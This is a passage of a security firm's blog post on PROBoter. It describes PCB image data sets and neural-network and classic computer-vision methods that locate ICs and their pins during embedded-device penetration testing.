&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">with&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Neural&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Networks&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">classic&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Computer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Vision&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">algorithms&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">IV:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">Automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">voltage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">signal&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">protocol&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">identification&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">V:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">software&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">framework&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">last&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
of the PROBoter series introduced the
heart of the PROBoter framework - the hardware platform. The platform allows
(semi) automated electrical probing of an unknown PCB which is usually a very
time consuming and error prone task. This post focuses on methods to automate
the initial analysis step of an embedded system - the visual analysis of the
PCB(s) forming the device under test.&lt;/p>
&lt;h2 id="an-embedded-pentesters-helping-eye">An embedded pentester&amp;rsquo;s helping eye&lt;/h2>
&lt;p>If you start a &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">test&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">an&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">system&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, the
first step is usually to open the device under test to reveal the printed
circuit boards (PCBs). These PCBs contain all the electrical and electronic
components required for the device&amp;rsquo;s functionality. From a security perspective,
we usually focus on components that either process information, like
microcontrollers, or store data, like external flash memory chips. So we start
with the localization of components that might be security-relevant and verify
our assumption in the next step by identifying the component and its
functionality based on the printed marking usually found on its plastic cover.&lt;/p>
&lt;p>For each successfully identified component, we try to fetch additional
information from technical data sheets or developer documentation usually found
on the manufacturer&amp;rsquo;s website. The main goal here is to find information about
the mapping of security-critical functionality, like debug or communication
interface lines, to respective pins connecting the component to the underlying
PCB. With this information, we finally connect to the component over the
identified pins and can start communicating with it or extracting data.&lt;/p>
&lt;p>If we take a step back, we can see that the visual analysis of a populated PCB
is basically an object detection task where the instances to localize and
identify are electronic components, electrical pins and contact pads. Object
detection is an active research topic where great progress has been made in the
last years with the introduction of &lt;em>Neural Networks&lt;/em> and especially the
subclass of &lt;em>Convolutional Neural Networks&lt;/em>. So in order to assist an analyst
during the visual analysis, the PROBoter platform contains algorithms based on
Neural Networks and Classic Computer Vision to automatically localize
integrated circuits (ICs) and their respective pins in image data of populated
PCBs.&lt;/p>
&lt;h3 id="pcb-and-pin-image-data-sets">PCB and pin image data sets&lt;/h3>
&lt;p>To train a Neural Network or evaluate a Classic Computer Vision algorithm, you
need some reference. Such data is usually provided in the form of annotated
image data sets. For the task of PCB image analysis, there already exist some
publicly available PCB image data sets, like the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://cvl.tuwien.ac.at/research/cvl-databases/pcb-dslr-dataset/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PCB-DSLR&lt;/span>
&lt;/a>&lt;a
href="https://cvl.tuwien.ac.at/research/cvl-databases/pcb-dslr-dataset/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">image&lt;/span>
&lt;/a>&lt;a
href="https://cvl.tuwien.ac.at/research/cvl-databases/pcb-dslr-dataset/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">data&lt;/span>
&lt;/a>&lt;a
href="https://cvl.tuwien.ac.at/research/cvl-databases/pcb-dslr-dataset/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">set&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[1]
introduced by Pramerdorfer and Kampel. In addition, several data sets have been
published in the last years. A selection can be found in our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">paper&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
published at escar Europe 2021.&lt;/p>
&lt;p>Most of these data sets are designed by their authors for a specific use case
which is typically not the security analysis of an embedded system. Therefore,
we introduce the following three new PCB image data sets that are also
published in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/image_data_sets"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/image_data_sets"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Github&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/image_data_sets"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">repo&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;h4 id="pcb-google">PCB-GOOGLE&lt;/h4>
&lt;p>The first image data set &lt;em>PCB-GOOGLE&lt;/em> is a collection of images collected using
Google image search. It contains 190 images of populated PCBs and 1,100
manually labeled IC object instances. The images in this set show a wide variety
of PCBs regarding solder mask color as their component package types and zoom
levels ranging from macro views of single ICs to arrangements of multiple PCBs.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/pcb_google_samples_hub8d4ec711bf1b8a0a5d13fe4d5b842ac_94258_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/pcb_google_samples_hub8d4ec711bf1b8a0a5d13fe4d5b842ac_94258_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/pcb_google_samples_hub8d4ec711bf1b8a0a5d13fe4d5b842ac_94258_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-03/pcb_google_samples.png"
width="770"
height="261"
alt="Sample images of the PCB-GOOGLE data set."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Sample images of the PCB-GOOGLE data set.&lt;/figcaption>
&lt;/figure>
&lt;h4 id="pcb-internal">PCB-INTERNAL&lt;/h4>
&lt;p>The second image data set is named &lt;em>PCB-INTERNAL&lt;/em>. It is comprised of 15 unique
PCB images with 53 annotated IC instances. The images contain publicly
available development boards and PCBs designed by SCHUTZWERK employees.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/pcb_internal_samples_huca5fcb2b82148b83ea9475a19fc05b02_254785_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/pcb_internal_samples_huca5fcb2b82148b83ea9475a19fc05b02_254785_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/pcb_internal_samples_huca5fcb2b82148b83ea9475a19fc05b02_254785_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-03/pcb_internal_samples.png"
width="1200"
height="401"
alt="Sample images of the PCB-INTERNAL data set."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Sample images of the PCB-INTERNAL data set.&lt;/figcaption>
&lt;/figure>
&lt;h4 id="ic-pins">IC-PINS&lt;/h4>
&lt;p>&lt;em>PCB-GOOGLE&lt;/em> and &lt;em>PCB-INTERNAL&lt;/em> are designed to train and test algorithms for IC
localization. In contrast to these, our last image data set &lt;em>IC-PINS&lt;/em> is
specifically crafted for the use case of component pin detection. It contains 46
IC macro images with 1,181 annotated component pins. The number of pins per
image ranges from zero visible pins for Ball Grid Array (BGA) packaged ICs up to
100 pins, typically found at Thin Quad Flat Packages (TQFP).&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/ic_pins_samples_huc74ffad84b5e4cc2928a29abb9cf894b_181362_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/ic_pins_samples_huc74ffad84b5e4cc2928a29abb9cf894b_181362_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/ic_pins_samples_huc74ffad84b5e4cc2928a29abb9cf894b_181362_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-03/ic_pins_samples.png"
width="1200"
height="333"
alt="Sample images of the IC-PINS data set."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Sample images of the IC-PINS data set.&lt;/figcaption>
&lt;/figure>
&lt;h3 id="component--ic-detection">Component / IC detection&lt;/h3>
&lt;p>Based on these new PCB image data sets, we trained well-proven object detectors
to localize ICs in image data of populated PCBs. We use the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/tensorflow/models/tree/master/research/object_detection"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">TensorFlow&lt;/span>
&lt;/a>&lt;a
href="https://github.com/tensorflow/models/tree/master/research/object_detection"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Object&lt;/span>
&lt;/a>&lt;a
href="https://github.com/tensorflow/models/tree/master/research/object_detection"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Detection&lt;/span>
&lt;/a>&lt;a
href="https://github.com/tensorflow/models/tree/master/research/object_detection"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">API&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[2] as a base framework. Regarding the Neuronal Network architecture, we picked
enhanced versions of Faster R-CNN and SSD available in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/tf2_detection_zoo.md"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">TensorFlow&lt;/span>
&lt;/a>&lt;a
href="https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/tf2_detection_zoo.md"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>&lt;a
href="https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/tf2_detection_zoo.md"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Detection&lt;/span>
&lt;/a>&lt;a
href="https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/tf2_detection_zoo.md"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Model&lt;/span>
&lt;/a>&lt;a
href="https://github.com/tensorflow/models/blob/master/research/object_detection/g3doc/tf2_detection_zoo.md"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Zoo&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[3]. The Model Zoo also contains models pretrained on the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://cocodataset.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">COCO&lt;/span>
&lt;/a>&lt;a
href="https://cocodataset.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">image&lt;/span>
&lt;/a>&lt;a
href="https://cocodataset.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">data&lt;/span>
&lt;/a>&lt;a
href="https://cocodataset.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">set&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[4]. We applied transfer learning to train these
models on both, the existing PCB-DSLR and our newly created PCB-GOOGLE data set.
PCB-INTERNAL is used to evaluate the generalization and overall quality of the
finally trained models.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/ic_detection_faster_rcnn_hu2ca6bed1d2bf1cab9048675b77693a14_188872_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/ic_detection_faster_rcnn_hu2ca6bed1d2bf1cab9048675b77693a14_188872_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/ic_detection_faster_rcnn_hu2ca6bed1d2bf1cab9048675b77693a14_188872_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-03/ic_detection_faster_rcnn.png"
width="800"
height="536"
alt="IC detection results of the trained Faster R-CNN model."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
IC detection results of the trained Faster R-CNN model.&lt;/figcaption>
&lt;/figure>
&lt;p>The image above shows detection results of our trained Faster R-CNN model.
Correct IC detections are highlighted by red-colored, rectangular areas. Only
one IC marked with a yellow circle was not detected by the model. This sample
image shows that automated IC detection works pretty well even if both, the IC
package and the PCB, have the same color. More information about our approach
and evaluation results can be found in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter/blob/master/publications/PROBoter_thesis.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/blob/master/publications/PROBoter_thesis.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">thesis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">escar&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">paper&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;h3 id="pin-detection">Pin detection&lt;/h3>
&lt;p>Besides the location of security-relevant ICs, the positions of the pins
connecting these ICs to the underlying PCB are required for an automated
electrical probing as a next step. To assist in this task, we chose two
different approaches: The first one facilitates the same Neural Networks
already used for IC detection. For model training we used our newly created
IC-PINS image data set. In contrast to ICs which can be placed on a PCB
arbitrarily by designers, IC pins are typically arranged in equally spaced
grids at the borders of the IC package. Based on that fact, we also implemented
a Classic Computer Vision pipeline for pin detection. The image below shows the
intermediate results of each pipeline stage for a sample image of the IC-PINS
data set.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/pin_detection_pipeline_sample_hu72754999d1b0a9dce92c286319f301b0_67085_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/pin_detection_pipeline_sample_hu72754999d1b0a9dce92c286319f301b0_67085_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/pin_detection_pipeline_sample_hu72754999d1b0a9dce92c286319f301b0_67085_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-03/pin_detection_pipeline_sample.png"
width="769"
height="562"
alt="Steps of the Classic Computer Vision pipeline for IC pin detection."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Steps of the Classic Computer Vision pipeline for IC pin detection.&lt;/figcaption>
&lt;/figure>
&lt;p>In the first two steps, the border and IC package areas are removed. After
that, the individual pins are isolated using color thresholding and
morphological operations. Additional skeletonization steps are applied to
finally get candidates for IC pin centers. A detailed description of the
pipeline can be found in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter/blob/master/publications/PROBoter_thesis.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/blob/master/publications/PROBoter_thesis.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">thesis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/pin_detection_comparison_hu9aec2daaa1b513865b448f659f1ad191_201016_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/pin_detection_comparison_hu9aec2daaa1b513865b448f659f1ad191_201016_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-03/pin_detection_comparison_hu9aec2daaa1b513865b448f659f1ad191_201016_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-03/pin_detection_comparison.png"
width="1200"
height="376"
alt="Comparison of the differnt approaches for IC pin detection: Computer Vision pipeline (left), SSD (middle), Faster R-CNN (right)."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Comparison of the differnt approaches for IC pin detection: Computer Vision pipeline (left), SSD (middle), Faster R-CNN (right).&lt;/figcaption>
&lt;/figure>
&lt;p>A comparison of the pin detection results is displayed in the image above. The
trained Faster R-CNN model yields the best results. However, this approach is
the most time and computational intensive. Analysis of a PCB with multiple ICs
on a recent CPU-only system can take up to several minutes. Our implemented
Computer Vision pipeline is very fast but can produce more False Positive and
duplicate detections as can be seen in the left image. Again, you can find more
details about the implementation and a thorough discussion of the results in
both, the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter/blob/master/publications/PROBoter_thesis.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/blob/master/publications/PROBoter_thesis.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">thesis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">escar&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">paper&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. In summary,
all implemented solutions still provide options for further approvements.
Therefore, we are already working on solutions to further improve automated pin
detection.&lt;/p>
&lt;h2 id="show-me-some-code">Show me some code&lt;/h2>
&lt;p>Up till now, we just explained the theory behind the PROBoter&amp;rsquo;s approach to
automate visual analysis of unknown PCBs. To integrate this functionality in
the big picture of the PROBoter framework, we bundled all of the IC and pin
detection logic in a single microservice together with our trained Neural
Networks. You can find the code of this microservice in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBOter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Github&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">repo&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. The microservice is
written in Python and uses the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://flask.palletsprojects.com/en/2.1.x/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Flask&lt;/span>
&lt;/a>&lt;a
href="https://flask.palletsprojects.com/en/2.1.x/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">framework&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[5] to expose its
functionality via a REST-like web interface. Therefore, integration of this
service into your own analysis pipeline is as simple as sending a simple HTTP
POST request.&lt;/p>
&lt;p>The visual analysis microservice is the first component of the PROBOter software
framework. Additional services will be released in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBOter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Github&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/tree/master/software"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">repo&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
with the following blog
posts. For an easy setup, all services are additionally bundled as Docker
images. As the whole PROBOter framework is constructed of many microservices, we
also provide a &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://docs.docker.com/compose/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>&lt;a
href="https://docs.docker.com/compose/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Compose&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
setup.
The Docker Compose file will be extended with the following blog posts and
software releases.&lt;/p>
&lt;h2 id="improving-image-recognition">Improving image recognition&lt;/h2>
&lt;p>As mentioned at the beginning, new PCB image data sets have been created in the
last few years. The thesis &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://dx.doi.org/10.18725/OPARU-40107"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Visual&lt;/span>
&lt;/a>&lt;a
href="http://dx.doi.org/10.18725/OPARU-40107"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="http://dx.doi.org/10.18725/OPARU-40107"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="http://dx.doi.org/10.18725/OPARU-40107"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">printed&lt;/span>
&lt;/a>&lt;a
href="http://dx.doi.org/10.18725/OPARU-40107"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">circuit&lt;/span>
&lt;/a>&lt;a
href="http://dx.doi.org/10.18725/OPARU-40107"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">boards&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[9] created by Marco Günther in
cooperation with SCHUTZWERK GmbH examined if the currently implemented
algorithms for PCB analysis can benefit from this new image data. The work also
extends the Neural Networks in use to detect not only ICs but also connectors
and solder pads of unpopulated ICs. These are very interesting probing
locations as signals belonging to either debugging interfaces or communication
lines are often exposed for development purposes here.&lt;/p>
&lt;p>Another major contribution of Marco&amp;rsquo;s work is the annotation of existing PCB
image data sets with labels for different IC packages, like Ball Grid Array
(BGA) or QFP (Quad Flat Package). Based on this new information, the Neural
Networks have been retrained to not only localize ICs but also to identify
their respective package. Because the accessibility of pins depends heavily on
the IC package, this adds valuable information that can improve the automated
electrical probing capabilities of the PROBoter platform. Integration and
evaluation of the results is still ongoing.&lt;/p>
&lt;p>We want to thank Marco for his great work and contribution to the PROBoter
platform!&lt;/p>
&lt;h2 id="next-post">Next Post&lt;/h2>
&lt;p>The next part will introduce novel techniques that can assist an embedded
